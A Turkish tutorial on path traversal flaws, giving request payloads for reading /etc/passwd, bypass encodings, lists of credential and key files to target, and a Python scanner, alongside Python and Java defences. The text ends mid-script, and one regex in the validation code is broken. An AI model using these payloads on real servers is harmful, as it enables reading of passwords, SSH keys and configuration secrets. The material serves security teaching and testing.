Path Traversal: Directory Traversal

Dosya sistemi zafiyetleri: ../../../etc/passwd'den savunmaya

GET /loadImage?filename=../../../etc/passwd
# Yetkisiz dosya erişimi

Path Traversal Nedir?

Path Traversal (Directory Traversal olarak da bilinir), saldırganların web uygulaması çalıştıran sunucuda bulunan keyfi dosyaları okumalarına olanak sağlayan bir güvenlik zafiyetidir. Bu zafiyet, uygulamanın kullanıcı girdisini dosya yolunda güvenli şekilde doğrulamadığı durumlarda ortaya çıkar.

Saldırının Hedefleri
Uygulama Kodu ve Verisi: Kaynak kod, yapılandırma dosyaları
Sistem Kimlik Bilgileri: /etc/passwd, /etc/shadow, web.config
İşletim Sistemi Dosyaları: Sistem logları, kritik yapılandırmalar
Backend Sistem Bilgileri: Veritabanı bağlantı stringleri, API anahtarları
Path Traversal Saldırısı Akışı

Normal İstek: /var/www/images/218.png
Saldırı: /var/www/images/../../../etc/passwd
Sonuç: /etc/passwd (sistem kullanıcı dosyası)

Kritik Risk: Bazı durumlarda saldırganlar dosya yazma yetkisi de elde edebilir. Bu durumda web shell yükleyerek sunucunun tam kontrolünü ele geçirebilirler.

Temel Saldırı Örneği

Bir e-ticaret sitesinin ürün resimlerini göstermek için aşağıdaki HTML kodunu kullandığını düşünelim:

<img src="/loadImage?filename=218.png">

loadImage endpoint'i bir filename parametresi alır ve belirtilen dosyanın içeriğini döndürür. Resim dosyaları disk üzerinde /var/www/images/ konumunda saklanır.

Normal İşleyiş: Uygulama istenen dosya adını temel dizine ekleyerek tam dosya yolunu oluşturur:
/var/www/images/218.png

Saldırının Gerçekleştirilmesi

GET /loadImage?filename=../../../etc/passwd HTTP/1.1
Host: vulnerable-website.com

Bu saldırı, uygulamanın aşağıdaki dosya yolundan okuma yapmasına neden olur:

/var/www/images/../../../etc/passwd
../ Dizin Traversal Açıklaması
../ dizin yapısında bir seviye yukarı çıkmak anlamına gelir:
• ../ = /var/www/ (bir seviye yukarı)
• ../../ = /var/ (iki seviye yukarı)
• ../../../ = / (kök dizin)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
# /etc/passwd dosya içeriği başarıyla okundu!

Yaygın Engeller ve Bypass Teknikleri

Birçok uygulama Path Traversal saldırılarına karşı çeşitli savunma mekanizmaları uygular. Bu engeller genellikle aşılabilir tekniklerle bypass edilebilir.

1. Mutlak Yol (Absolute Path) Bypass

Eğer uygulama ../ dizinlerini filtreler veya bloklar, dosya sistemi kökünden başlayan mutlak bir yol kullanabilirsiniz:

GET /loadImage?filename=/etc/passwd HTTP/1.1

2. İç İçe Traversal Dizileri

Uygulama traversal dizilerini non-recursive şekilde temizliyorsa, iç içe geçmiş diziler kullanın:

# Normal: ../../../
# İç içe: ....//....//....//
GET /loadImage?filename=....//....//....//etc/passwd
Nasıl Çalışır?
Uygulama ../ dizisini temizlediğinde:
....// → ../ (iç kısım temizlendi)
....\/ → ../ (Windows için)

3. URL Encoding ve Double Encoding

# Normal encoding
../../../etc/passwd → %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# Double encoding
../../../etc/passwd → %252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd

# Non-standard encoding
../ → ..%c0%af veya ..%ef%bc%8f

4. Başlangıç Yolu Doğrulama Bypass

Uygulama dosya adının beklenen temel klasör ile başlamasını gerektiriyorsa:

GET /loadImage?filename=/var/www/images/../../../etc/passwd

5. Null Byte Bypass

Uygulama belirli bir dosya uzantısı (.png, .jpg) gerektiriyorsa, null byte kullanarak uzantı kontrolünü atlayabilirsiniz:

GET /loadImage?filename=../../../etc/passwd%00.png
Not: Null byte bypass tekniği eski PHP versiyonlarında çalışır. Modern dillerde genellikle etkili değildir.

Pratik Exploit Örnekleri

Linux Hedef Dosyalar

# Sistem kullanıcıları
/etc/passwd           # Kullanıcı listesi
/etc/shadow           # Hash'lenmiş parolalar (root gerekli)
/etc/group            # Grup bilgileri

# Sistem yapılandırması
/etc/hosts            # DNS host dosyası
/etc/resolv.conf      # DNS sunucuları
/etc/network/interfaces # Ağ yapılandırması

# Web server yapılandırması
/etc/apache2/apache2.conf
/etc/nginx/nginx.conf
/etc/httpd/conf/httpd.conf

# Uygulama dosyaları
/var/log/apache2/access.log
/var/log/apache2/error.log
/home/user/.bash_history
/root/.ssh/id_rsa      # SSH private key

Windows Hedef Dosyalar

# Sistem dosyaları
C:\windows\win.ini
C:\windows\system32\drivers\etc\hosts
C:\windows\system32\config\sam    # Windows kullanıcı hash'leri

# IIS web server
C:\inetpub\logs\LogFiles\W3SVC1\
C:\inetpub\wwwroot\web.config

# Uygulama dosyaları
C:\Users\Administrator\Documents\
C:\Users\Administrator\Desktop\

Burp Suite ile Test

# Burp Suite Intruder için payload listesi
../
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../

# URL encoded versiyonları
%2e%2e%2f
%2e%2e%2f%2e%2e%2f
%252e%252e%252f

Korunma Yöntemleri

Path Traversal saldırılarını önlemenin en etkili yolu, kullanıcı girdisini dosya sistemi API'lerine hiç geçirmemektir. Bu mümkün değilse, iki katmanlı savunma stratejisi önerilir.

En İyi Uygulama: Dosya adları yerine ID numaraları kullanın. Örneğin: /getFile?id=123 ve sunucu tarafında ID ile dosya eşleştirmesi yapın.

1. Input Validation (Girdi Doğrulama)

import re
import os

def validate_filename(filename):
    # Sadece alfanumerik karakterler, nokta ve tire izin ver
    if not re.match(r'^[a-zA-Z0-9._-]+, filename):
        raise ValueError("Geçersiz dosya adı")
    
    # Path traversal karakterlerini kontrol et
    dangerous_patterns = ['..', '/', '\\']
    for pattern in dangerous_patterns:
        if pattern in filename:
            raise ValueError("Güvenlik riski tespit edildi")
    
    return True

2. Whitelist Yaklaşımı

# İzin verilen dosyaların listesi
ALLOWED_FILES = {
    'profile.jpg': 'images/profile.jpg',
    'logo.png': 'images/logo.png',
    'banner.gif': 'images/banner.gif'
}

def get_file_path(filename):
    if filename not in ALLOWED_FILES:
        raise ValueError("Dosya bulunamadı")
    
    return ALLOWED_FILES[filename]

3. Canonical Path Kontrolü

import os

BASE_DIRECTORY = '/var/www/images/'

def secure_file_access(user_input):
    # Kullanıcı girdisini base directory ile birleştir
    file_path = os.path.join(BASE_DIRECTORY, user_input)
    
    # Canonical path'i hesapla
    canonical_path = os.path.realpath(file_path)
    
    # Base directory ile başladığını kontrol et
    if not canonical_path.startswith(BASE_DIRECTORY):
        raise ValueError("Güvenlik ihlali: Path traversal tespit edildi")
    
    # Dosyanın var olduğunu kontrol et
    if not os.path.exists(canonical_path):
        raise FileNotFoundError("Dosya bulunamadı")
    
    return canonical_path

Java Örneği

import java.io.File;

public class SecureFileHandler {
    private static final String BASE_DIRECTORY = "/var/www/images/";
    
    public static File getSecureFile(String userInput) 
            throws SecurityException {
        
        File file = new File(BASE_DIRECTORY, userInput);
        
        try {
            if (!file.getCanonicalPath().startsWith(BASE_DIRECTORY)) {
                throw new SecurityException("Path traversal detected");
            }
        } catch (IOException e) {
            throw new SecurityException("File access error");
        }
        
        return file;
    }
}

Python ile Path Traversal Testi

import requests
import urllib.parse

def test_path_traversal(base_url, param_name):
    payloads = [
        "../../../etc/passwd",
        "..\\..\\..\\windows\\win.ini",
        "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd",
        "....//....//....//etc/passwd",
        "/etc/passwd",
        "etc/passwd%00.jpg"
    ]
    
    for payload in payloads:
        try:
            encoded_payload = urllib.parse.quote(payload, safe='')
            url = f"{base_url}?{param_name}={encoded_payload}"
            
            response = requests.get(url, timeout=10)
            
            # /etc/passwd içeriğini kontrol et
            if "root:x:0:0" in response.text or "daemon:" in response.text:
                print(f"[+] VULNERABLE! Payload: {payload}")
                print(f"[+] URL: {url}")
                print(f"[+] Response (first 200 chars):")
                print(response.text[:200])
                print("-" * 50)
            
            # Windows dosya kontrolü
            elif "[extensions]" in response.text.lower():
                print(f"[+] Windows file found! Payload: {payload}")
                print(f"[+] URL: {url}")
                
        except requests.RequestException as e:
            print(f"[-] Error with payload {payload}: {e}")

# Kullanım örneği
if __name__ == "__main__":
    target_url = "http://vulnerable-app.com/loadImage"
    parameter = "filename"